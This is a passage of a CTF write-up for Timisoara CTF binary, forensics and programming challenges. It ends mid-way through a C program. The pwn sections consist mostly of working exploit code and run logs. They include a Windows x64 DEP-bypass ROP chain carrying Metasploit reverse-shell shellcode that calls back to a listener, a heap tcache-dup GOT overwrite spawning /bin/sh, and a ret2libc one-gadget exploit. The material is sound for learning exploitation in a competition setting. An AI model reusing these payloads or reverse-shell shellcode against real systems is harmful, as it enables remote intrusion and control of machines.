.text:0000000000401851                 mov     r8d, 1000h      ; len
.text:0000000000401857                 lea     rdx, buf        ; buf
.text:000000000040185E                 mov     rcx, rax        ; s
.text:0000000000401861                 mov     rax, cs:recv
.text:0000000000401868                 call    rax ; recv
.text:000000000040186A                 mov     [rbp+1360h+var_34], eax
.text:0000000000401870                 mov     eax, [rbp+1360h+var_34]
.text:0000000000401876                 mov     edx, eax
.text:0000000000401878                 lea     rcx, buf
.text:000000000040187F                 call    sub_401550
.text:0000000000401884                 lea     rdx, aReceived  ; "Received: "
.text:000000000040188B                 mov     rcx, cs:off_4B6FB0
.text:0000000000401892                 call    sub_4A9FC0

Third, server wait payload.

The place to enter payload is BSS section.

This part causes the vulnerability. Because the length limit is not appropriate.

So, I can catch RIP .

Exploit

I used reverse connection Because it is communication between server and client.

This .exe has DEP protection.

So we have to bypass DEP with windows ROP.

The payload scenario is shown below.

0. Prepare a server for reverse connection.
1. Set register. ( RCX,RDX,R8,R9 )
2. Call VirtualProtect. ( This function can turn off DEP. )
	- VirtualProtect in kernel32.dll
	- problem give kernel32.dll's base address
	- We can use kernel32's function!
3. build NOP sled + window reverse shellcode.
4. Change the RIP to the position where the nop sled is located.
5. The shell is connected to the my server.

Gadgets were extracted from the rop_me_baby.exe binary using rp++.

My gadget is here.

pop_rbx = 0x00401D52 # pop rbx ; ret ;

pop_rcx = 0x0040c620 # pop rcx ; ret ;
pop_rdx = 0x00401095 # pop rdx ; xor eax, eax ; add rsp, 0x28 ; ret ;
pop_r8  = 0x004960b3 # pop r8 ; add rsp, 0x28 ; pop rbx ; pop rsi ; ret;
pop_r9  = 0x004a4a14 # pop r9 ; mov byte [rbx+0x000000E1], 0x00000001 ; mov byte [rbx+0x000000E0], sil ; add rsp, 0x20 ; pop rbx ; pop rsi ; pop rdi ; ret ;
log.info("pop_rcx : " + hex(pop_rcx))
log.info("pop_rdx : " + hex(pop_rdx))
log.info("pop_r8  : " + hex(pop_r8))
log.info("pop_r9  : " + hex(pop_r9))

The shellcode came from the metasploit with the windows x64 tcp reverse conection.

My shellcode is here.

shellcode = ""
shellcode += "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" 
shellcode += "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" 
shellcode += "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" 
shellcode += "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" 
shellcode += "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" 
shellcode += "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" 
shellcode += "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" 
shellcode += "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" 
shellcode += "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" 
shellcode += "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" 
shellcode += "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" 
shellcode += "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" 
shellcode += "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" 
shellcode += "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" 
shellcode += "\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" 
shellcode += "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00" 
shellcode += "\x00\x49\x89\xe5\x49\xbc\x02\x00\x2d\x5b\xd3\xef\x7c\xed"
shellcode += "\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
shellcode += "\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
shellcode += "\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
shellcode += "\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea" 
shellcode += "\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89" 
shellcode += "\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81" 
shellcode += "\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00" 
shellcode += "\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0" 
shellcode += "\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01" 
shellcode += "\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41" 
shellcode += "\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d" 
shellcode += "\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48" 
shellcode += "\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" 
shellcode += "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5" 
shellcode += "\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" 
shellcode += "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"
# windows x64 reverse shell TCP

Finally, my full exploit code is here.

from pwn import *

#context.log_level = "debug"

r = remote("89.38.208.147",2025) #remote
#r = remote("192.168.2.234",2025) #local
r.recvuntil("Ntdll address is: ")
ntdll = int(r.recv(12),16)

r.recvuntil("kernel32 address is: ")
kernel32 = int(r.recv(12),16)

log.info("ntdll : " + hex(ntdll))
log.info("kernel32 : " + hex(kernel32))

protect = kernel32 + 0x14d0 #remote
#protect = kernel32 + 0x1acb0 #local

bss = 0x0000000004DE040
log.info("bss : " + hex(bss))

shellcode = ""
shellcode += "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50" 
shellcode += "\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52" 
shellcode += "\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a" 
shellcode += "\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41" 
shellcode += "\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52" 
shellcode += "\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48" 
shellcode += "\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40" 
shellcode += "\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48" 
shellcode += "\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41" 
shellcode += "\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1" 
shellcode += "\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c" 
shellcode += "\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" 
shellcode += "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a" 
shellcode += "\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b" 
shellcode += "\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33" 
shellcode += "\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00" 
shellcode += "\x00\x49\x89\xe5\x49\xbc\x02\x00\x2d\x5b\xd3\xef\x7c\xed"
shellcode += "\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07"
shellcode += "\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29"
shellcode += "\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48"
shellcode += "\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea" 
shellcode += "\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89" 
shellcode += "\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81" 
shellcode += "\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00" 
shellcode += "\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0" 
shellcode += "\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01" 
shellcode += "\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41" 
shellcode += "\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d" 
shellcode += "\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48" 
shellcode += "\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff" 
shellcode += "\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5" 
shellcode += "\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" 
shellcode += "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5"
# windows x64 reverse shell TCP

##### parameter #####
# rcx	:	bss
# rdx	:	0x6000
# r8	:	0x40
# r9	:	bss + 0x1000

pop_rbx = 0x00401D52 # pop rbx ; ret ;

pop_rcx = 0x0040c620 # pop rcx ; ret ;
pop_rdx = 0x00401095 # pop rdx ; xor eax, eax ; add rsp, 0x28 ; ret ;
pop_r8  = 0x004960b3 # pop r8 ; add rsp, 0x28 ; pop rbx ; pop rsi ; ret;
pop_r9  = 0x004a4a14 # pop r9 ; mov byte [rbx+0x000000E1], 0x00000001 ; mov byte [rbx+0x000000E0], sil ; add rsp, 0x20 ; pop rbx ; pop rsi ; pop rdi ; ret ;
log.info("pop_rcx : " + hex(pop_rcx))
log.info("pop_rdx : " + hex(pop_rdx))
log.info("pop_r8  : " + hex(pop_r8))
log.info("pop_r9  : " + hex(pop_r9))

payload = "" 
payload += "A" * (256 + 8)

payload += p64(pop_rbx)
payload += p64(bss)

payload += p64(pop_r9)
payload += p64(bss + 0x1000) + p64(0) * 3
payload += "A" * 0x20

payload += p64(pop_r8)
payload += p64(0x40)
payload += p64(0) * 2
payload += "A" * 0x28

payload += p64(pop_rcx)
payload += p64(bss)

payload += p64(pop_rdx)
payload += p64(0x6000)
payload += "A" * 0x28

payload += p64(protect)
payload += p64(bss + len(payload) + 0x10) 
payload += "\x90" * 0x100
payload += shellcode

log.info("payload : " + str(len(payload)))

r.recvuntil("payload: ")
pause()
r.sendline(payload)

r.interactive()

The environment setting method is as follows.

0. Leave the port open on my server.
1. start exploit!

set port

root@8055cfbd987a:~# nc -lvp 1234
listening on [any] 1234 ...

start exploit

juntae@ubuntu:~/ctf/timisoara/rop-me-baby$ python ex.py

Client

juntae@ubuntu:~/ctf/timisoara/rop-me-baby$ p ex.py 
[+] Opening connection to 89.38.208.147 on port 2025: Done
[*] ntdll : 0x7ffd02630000
[*] kernel32 : 0x7ffd01a00000
[*] bss : 0x4de040
[*] pop_rcx : 0x40c620
[*] pop_rdx : 0x401095
[*] pop_r8  : 0x4960b3
[*] pop_r9  : 0x4a4a14
[*] payload : 1228
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ 
[*] Interrupted

server

root@8055cfbd987a:~# nc -lvp 1234
listening on [any] 1234 ...
89.38.208.147: inverse host lookup failed: Unknown host
connect to [172.17.0.6] from (UNKNOWN) [89.38.208.147] 58731
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Users\RopME\Desktop>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is 32BC-80DB

 Directory of C:\Users\RopME\Desktop

09/13/2019  12:21 PM    <DIR>          .
09/13/2019  12:21 PM    <DIR>          ..
09/13/2019  12:22 PM                29 chall.bat
09/13/2019  11:31 AM                28 flag.txt.txt
09/13/2019  12:53 PM           902,144 rop_me_baby.exe
09/13/2019  12:03 PM    <DIR>          socat_not_working
               3 File(s)        902,201 bytes
               3 Dir(s)  47,296,638,976 bytes free

C:\Users\RopME\Desktop>type flag.txt.txt
type flag.txt.txt
TIMCTF{Yeah_Y34h_ropME_b4by}

FLAG : TIMCTF{Yeah_Y34h_ropME_b4by}


Team Manager (300pts)

I found the team manager service used for Timisoara CTF. Do you think it is secure?

nc 89.38.208.144 11114

case 2u:
  printf("Enter player id (1-4) ");
  fflush(_bss_start);
  scanf("%d", &id);
  if ( id > 0 && id <= 4 )
  {
    if ( players[id] )
      free(players[id]);
  }

Do not check the Double Free bug here.

So, I can use tchace dup.

So I assigned the address of the GOT side to the players global variable.

case 3u:
  printf("Enter player id (1-4) ");
  fflush(_bss_start);
  scanf("%d", &id);
  if ( id > 0 && id <= 4 )
  {
    if ( players[id] )
    {
      getchar();
      printf("Player's name: ");
      fflush(_bss_start);
      gets((players[id] + 6));
      printf("Player's skill at reversing and exploitation: ");
      fflush(_bss_start);
      scanf("%d", players[id]);
      printf("Player's skill at web exploit: ");
      fflush(_bss_start);
      scanf("%d", players[id] + 2);
      printf("Player's skill at crypto: ");
      fflush(_bss_start);
      scanf("%d", players[id] + 1);
      printf("Player's skill at forensics: ");
      fflush(_bss_start);
      scanf("%d", players[id] + 3);
      printf("Extra note/comment: ");
      fflush(_bss_start);
      getchar();
      gets(*(players[id] + 2));
      puts("\n");
    }

In this part, a heap overflow occurs.

So you can fill the got section with whatever you want.

Exploit

As you debug, you will see that you pass the address 0x602090 as the argument to the free function.

Therefore, we cover the address of system function in GOT of free function.

Then enter the string “/bin/sh” at 0x602090.

Then run the free function to capture the shell.

from pwn import *

#context.log_level = "debug"

e = ELF("./timctf_manager")
libc = ELF("./libc-2.27.so")
r = remote("89.38.208.144",11114)
#r = process("./timctf_manager")

def add(index,name,rev,web,crypto,forensic,comment):
	r.sendline("1")
	r.sendlineafter("(1-4) ",str(index))
	r.sendlineafter(": ",name)
	r.sendlineafter(": ",str(rev))
	r.sendlineafter(": ",str(web))
	r.sendlineafter(": ",str(crypto))
	r.sendlineafter(": ",str(forensic))
	r.sendlineafter(": ",comment)

def remove(index):
	r.sendline("2")
	r.sendlineafter("(1-4) ",str(index))

def edit(index,name,rev,web,crypto,forensic,comment):
	r.sendline("3")
	r.sendlineafter("(1-4) ",str(index))
	r.sendlineafter(": ",name)
	r.sendlineafter(": ",str(rev))
	r.sendlineafter(": ",str(web))
	r.sendlineafter(": ",str(crypto))
	r.sendlineafter(": ",str(forensic))
	r.sendlineafter(": ",comment)

def player(index):
	r.sendline("4")
	r.sendlineafter("(1-4) ",str(index))

players = 0x6020a0
got = e.got["free"]
log.info("got : " + hex(got))

# input : index,name,rev,web,crypto,forensic,comment

add(1,"\x00","+","+","+","+","AAAA")

remove(1)
remove(1)

add(2,"\x00",(players+0x8)-0x18,"+","+","+","BBBB")

add(3,"AAAA","+","+","+","+","CCCC")
add(4,p32(got-0x20),"+","+","+","+","DDDD")

player(1)

for i in range(0,1):
	r.recvuntil("\x7f")

leak = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base = leak - libc.symbols["free"] #0x408750
system = libc_base + libc.symbols["system"]
log.info("leak : " + hex(leak)) #600
log.info("libc_base : " + hex(libc_base))

payload = ""
payload += p64(0)
payload += p64(libc_base + libc.symbols["system"]) #free@got
payload += p64(libc_base + libc.symbols["putchar"])
payload += p64(libc_base + libc.symbols["puts"])
payload += p64(0)
payload += p64(libc_base + libc.symbols["printf"])
payload += p64(libc_base + libc.symbols["getchar"])
payload += p64(libc_base + libc.symbols["gets"])
payload += p64(libc_base + libc.symbols["malloc"])
payload += p64(libc_base + libc.symbols["fflush"])
payload += p64(libc_base + libc.symbols["scanf"])
payload += p64(libc_base + libc.symbols["fwrite"])
payload += p64(0) * 2
payload += p64(libc_base + 0x3ec760)
payload += p64(0)
payload += "/bin/sh\x00" #0x602090

pause()
edit(1,payload,"+","+","+","+","B")

#remove(4)

r.interactive()
juntae@ubuntu:~/ctf/timisoara/manager$ p ex.py 
[*] '/home/juntae/ctf/timisoara/manager/timctf_manager'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/juntae/ctf/timisoara/manager/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 89.38.208.144 on port 11114: Done
[*] got : 0x602018
[*] leak : 0x7fca44592950
[*] libc_base : 0x7fca444fb000
[*] Paused (press any to continue)
[*] Switching to interactive mode


1: Add player
2: Remove player
3: Edit player
4: View player
5: View team
0: Exit
$ 2
Enter player id (1-4) $ 4
$ ls
flag.txt
start.sh
timctf_manager
$ cat flag.txt
TIMCTF{Heap_overfl0ws_are_really_B4D}$ 
[*] Interrupted
[*] Closed connection to 89.38.208.144 port 11114

FLAG : TIMCTF{Heap_overfl0ws_are_really_B4D}


Flag manager service (400pts)

Our spies found this flag manager service running on the ctf server. It needs a password tho, but I am sure you can handle it.

nc 89.38.208.144 11115 - back online

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax
  char buf; // [rsp+0h] [rbp-90h]
  char format; // [rsp+40h] [rbp-50h]
  int fd; // [rsp+8Ch] [rbp-4h]

  strcpy(file, "flag.txt");
  filesize = 64;
  printf("Enter your name: ", argv, envp);
  fflush(stdout);
  gets(&format);
  printf("Hello, ");
  printf(&format);
  printf("\nEnter password please: ");
  fflush(stdout);
  gets(pass);
  fd = open(file, 0);
  if ( fd == -1 )
  {
    puts("Unable to open file!\n");
    fflush(stdout);
    result = 0;
  }
  else
  {
    read(fd, &buf, filesize);
    if ( !strcmp(pass, good_pass) )
      printf("Here is your flag, %s\n", &buf);
    else
      puts("NOOOOOOOOO!\n");
    fflush(stdout);
    result = 0;
  }
  return result;
}

Buffer Overflow and Format String Bugs Occur.

So, I can catch RIP.

Then, do ROP ( bypass DEP) can get shell.

Exploit

oneshot gadget

from pwn import *

#context.log_level = "debug"

e = ELF("./flag_manager01")
libc = e.libc

r = remote("89.38.208.144",11115)
#r = process("./flag_manager01")

pr = 0x4008a3

payload = ""
payload += "A" * 0x58
payload += p64(pr)
payload += p64(e.got["puts"])
payload += p64(e.plt["puts"])

payload += p64(e.symbols["main"])

r.sendlineafter("name: ",payload)
r.sendlineafter("please: ","1234")

libc_base = u64(r.recvuntil("\x7f")[-6:] + "\x00\x00") - libc.symbols["puts"]
oneshot = libc_base + 0x10a38c
log.info("libc_base : " + hex(libc_base))

payload = ""
payload += "A" * 0x58
payload += p64(oneshot)

r.sendlineafter("name: ",payload)
r.sendlineafter("please: ","1234")

r.interactive()
juntae@ubuntu:~/ctf/timisoara/flag$ c
juntae@ubuntu:~/ctf/timisoara/flag$ p ex.py 
[*] '/home/juntae/ctf/timisoara/flag/flag_manager01'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/lib/x86_64-linux-gnu/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Opening connection to 89.38.208.144 on port 11115: Done
[*] libc_base : 0x7ff5c611e000
[*] Switching to interactive mode
NOOOOOOOOO!

$ ls
fddup.so
flag_manager_nohook
flag.txt
start.sh
$ cat flag.txt
TIMCTF{d3v_fd_i5_sn3aky_backd00r}$ 
[*] Interrupted
[*] Closed connection to 89.38.208.144 port 11115

FLAG : TIMCTF{d3v_fd_i5_sn3aky_backd00r}


Forensics

Deleted file (100pts)

Help! I accidentally deleted a photo! Can you recover it for me please?

http://timisoaractf.ro/10MB.img

Non-standard flag format

just extract file or another solution is mount this image and show directory. PNG was hiding.

FLAG : flag{I_s33_the_uns33n}


Strange image (100pts)

I received this “image” in my mailbox today, but I can not open it, as if it was corrupted or something. Can you fix it and tell me if it has any hidden meaning?

Note: if you think you “fixed” it and it does not open, try using a few different photo viewers.

Hint! When you ‘fix’ your image make sure you try multiple photo viewers as some might not want to display it

f = open('john.png','rb')
data = f.read()
f.close()
go = ""
for i in range(len(data)):
	go += chr(ord(data[i])^122)
f = open('copy.png','wb')
f.write(go)
f.close()

file hex values are encrypted

i use strings to get looks like flag - HATZ-fL4G: WLPFWI~Eudy3bm3kqxoh$

use caesar cipher to solve it

enc = 'WLPFWI~Eudy3bm3kqxoh$'
print ''.join(chr(ord(enc[i]) - 3) for i in range(len(enc)))

FLAG : TIMCTF{Brav0_j0hnule!}

Tri-color QR (200pts)

I stumbled upon this strange QR code which seems to be in a new format. Can you help me decode it?

"""
(pink yellow red - black or white, blue hyung green - white or black)
(pink blue red - black or white, yellow hyung green - white or black)
(pink blue hyung - black or white, yellow red green - black or white)
"""

"""
no color - TIMCTF{
green - Th1s_is_A
blue - _4_part_
extract - flag}
"""
# 0 0 0 - black
# 255 255 255 - white
# 0 0 255 - blue
# 255 0 255 - pink
# 255 255 0 - yellow
# 0 255 255 - hyung
# 255 0 0 - red
# 0 255 0 - green 
k = (0,0,0) # blakc
w = (255,255,255) # white
pink = (255,0,255)
blue = (0,0,255)
yellow = (255,255,0)
hyung = (0,255,255)
red = (255,0,0)
green = (0,255,0)
img = Image.open('tri-color.png')
img = img.convert('RGB')
img_pix = img.load()
r,g,b = img_pix[0,0]
#r,g,b = img.getpixel((i,j))
for i in range(img.width):
	for j in range(img.height):
		if img_pix[i,j] == pink:
			img_pix[i,j] = w
		elif img_pix[i,j] == blue:
			img_pix[i,j] = w
		elif img_pix[i,j] == yellow:
			img_pix[i,j] = k
		elif img_pix[i,j] == hyung:
			img_pix[i,j] = w
		elif img_pix[i,j] == red:
			img_pix[i,j] = k
		elif img_pix[i,j] == green:
			img_pix[i,j] = k
img.save('solve.png')

The flags come out divided. extract this qr image file too.

FLAG : TIMCTF{Th1s_is_A_4_part_flag}


Entangled (300pts)

Something isn’t clear right here…

http://timisoaractf.ro/Entangled.img

The .img file is given. if you file

open free_fortnite_H4CKZ_run_me with IDA and look at the graph view, there is a QR code. You can recognize it. and get password Cool_pass02

Now dncrypted flag.enc with openssl

openssl aes-128-cbc -in flag.enc -out flag -d -k Cool_pass02

we can get flag file. this file type is PNG.

FLAG : TIMCTF{C0de_oR_DAT4_tHe_uLtImAtE_qUesti0n}


Misc

Read the rules (1pts) First to solve this challenge!

Have you read them?

flag in the Short description.

FLAG : TIMCTF{sometext}


Programming

Subset sum (200pts)

You are given a number n and an array. Find those elements from the array that sum to the given number.

Number of tests: 10 Size of the array: 4 - 40 (+4 per level) Input data type: 64 bit unsigned ints Input formatting: 2 lines of text, a line containing n and a line containg the array. Output formatting: the size of the subset and the elements of the subset, separated by a space Time limit: 3s

nc 89.38.208.143 22021

  • I thought of using a Meet in the Middle.
  • But I used Trick.
from pwn import *

p = remote("89.38.208.143",22021)
for i in range(1,11):
	print p.recvuntil("/10\n"),
	n = int(p.recvline()[:-1])
	temp_arr = p.recvline()[:-1]
	exec("arr = ["+ temp_arr.replace(' ',',') +"]")
	length = len(arr)
	N= length
	S = n
	nums = arr
	answer = "1 "+str(n)
	print n
	print arr
	print answer,"\n\n"
	p.sendline(answer)
p.interactive()
circler@Circler:/mnt/c/Users/Circler/Documents/ctf/timisoara$ python last.py
[+] Opening connection to 89.38.208.143 on port 22021: Done
I will give you an array. Find me the elements that sum to the given number
Test #1/10
886292542176
[270855512863, 138184617995, 345953397248, 402154526933]
1 886292542176


OK!
Test #2/10
731715580623
[43163442928, 469954144345, 5435257261, 9766270480, 200043173538, 255981247529, 420300402547, 222761446148]
1 731715580623


OK!
Test #3/10
1597618745872
[543263880939, 116485754333, 548124400896, 376592401134, 206476763989, 402294544529, 116272110186, 45644102154, 458401125094, 421506943181, 167181589742, 406220537122]
1 1597618745872

.
.
.
.
.
.
.
.
.


OK!
Test #9/10
5254545483621
[62104530613, 437252304722, 541275299117, 497852959064, 407315398134, 83838706323, 282774611877, 393225375205, 201824291289, 398707071239, 101569864581, 450422715752, 147564550876, 104680243266, 232065113352, 244637968397, 224244269686, 260846266591, 223312260455, 137614733585, 191959188846, 433233526485, 85375601324, 8337955352, 153487987350, 499975959804, 510533362081, 384059199435, 415942691154, 179504015328, 22738282436, 299104817667, 184896416718, 480768435343, 111130351529, 415558208715]
1 5254545483621


OK!
Test #10/10
4973169628790
[43904986332, 139193993172, 98420770138, 384179899376, 437042565118, 290188720014, 398995810338, 446808123987, 416859717806, 107432594929, 307718414222, 249727113524, 340012438295, 118330651094, 513137938676, 383988188892, 211696119478, 276733672617, 451611819850, 190900507459, 387483424834, 487260229850, 297558816385, 67518231930, 339531703993, 327004473875, 309580380704, 410160297239, 9028428723, 542168055503, 157872352428, 123340279300, 380677124259, 150818592688, 363500356850, 98634320981, 124979100229, 91052683464, 135981929186, 335324640254]
1 4973169628790


[*] Switching to interactive mode
OK!
Congrats: TIMCTF{W3_like_t0_m33t_in_tHe_m1ddle}
[*] Got EOF while reading in interactive
$
[*] Closed connection to 89.38.208.143 port 22021
[*] Got EOF while sending in interactive

FLAG : FLAG : TIMCTF{W3_like_t0_m33t_in_tHe_m1ddle}


Linear recurrence (200pts)

You are given two numbers: N and k and a linear recurrence. The first N terms are given, along with their coefficients in this order: cn * an, cn - 1 * an - 1, …, c1 * a1

For example, consider the Fibonacci sequence: a3 = 1*a2 + 1 * a1, where a2 and a1 are both equal to 1. In this case the input will be 1 1 1 1

For the string a4 = 3 * a3 + 5 * a2 + 7 * a1 with a3 = 2, a2 = 1 and a1 = 4 the input will look like 3 2 5 1 7 4

Note that all strings start from index 1 N < k < 100.000.000 Number of tests: 10 Size of the input: 2 - 4 (4 - 8 including coefficients) Input data type: 64 bit unsigned ints Input formatting: 2 lines of text, a line containing N,k and a line containg the sequence. Output formatting: the kth term modulo 666013 Time limit: 1s

nc 89.38.208.143 22022

  • Just Coding
  • I use C and Python
  • Using C to solve
  • Using Python to connect the NC server
from pwn import *
coefficient = []
arr = []
temp_length = 0
p = remote("89.38.208.143", 22022)
second_p = process("array")
for _ in range(10):
	print p.recvline(),
	print p.recvline(),
	N,K = p.recvline().split(' ')
	N = int(N)
	K = int(K)
	exec("temp_arr = ["+p.recvline()[:-1].replace(' ',',')+"]")
	temp_length = len(temp_arr)/2
	coefficient = []
	arr = []
	for i in range(temp_length):
		coefficient.append(temp_arr[i*2])
		arr.append(temp_arr[i*2+1])	
	print "N=",N,": K=",K
	print temp_arr
	print "coefficient =",coefficient
	print "arr =",arr
	arr.reverse()
	second_p.sendline(str(arr)[1:-1].replace(',',''))
	second_p.sendline(str(coefficient)[1:-1].replace(',',''))
	second_p.sendline(str(K))
	A = second_p.recvline()
	print "answer=",A,"\n"
	p.sendline(A)
p.interactive()
#include <stdio.h> 

typedef unsigned long long int ulli;

ulli data[100000001];
ulli arr[122];
ulli coefficient[1222];

int main(void){
    ulli a;
    // Test #1/10:
    for(int i=0;i<2;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<2;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 2; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2])%666013;
    }
    printf("%lld\n", data[a-1]);

    // Test #2/10:
    for(int i=0;i<2;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<2;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 2; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2])%666013;
    }
    printf("%lld\n", data[a-1]);

    // Test #3/10:
    for(int i=0;i<3;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<3;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 3; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3])%666013;
    }
    printf("%lld\n", data[a-1]);


    // Test #4/10:
    for(int i=0;i<3;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<3;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 3; i < a; ++i)
    {
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3])%666013;
    }
    printf("%lld\n", data[a-1]);


    // Test #5/10:
    for(int i=0;i<3;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<3;++i){
        scanf("%lld",&coefficient[i]);
    }
    scanf("%lld",&a);
    for (ulli i = 3; i < a; ++i){
    	data[i] = (coefficient[0] *data[i-1] + coefficient[1]*data[i-2] + coefficient[2]*data[i-3])%666013;
    }
    printf("%lld\n", data[a-1]);



    // Test #6/10:
    for(int i=0;i<4;++i){
        scanf("%lld",&data[i]);
    }
    for(int i=0;i<4;++i){
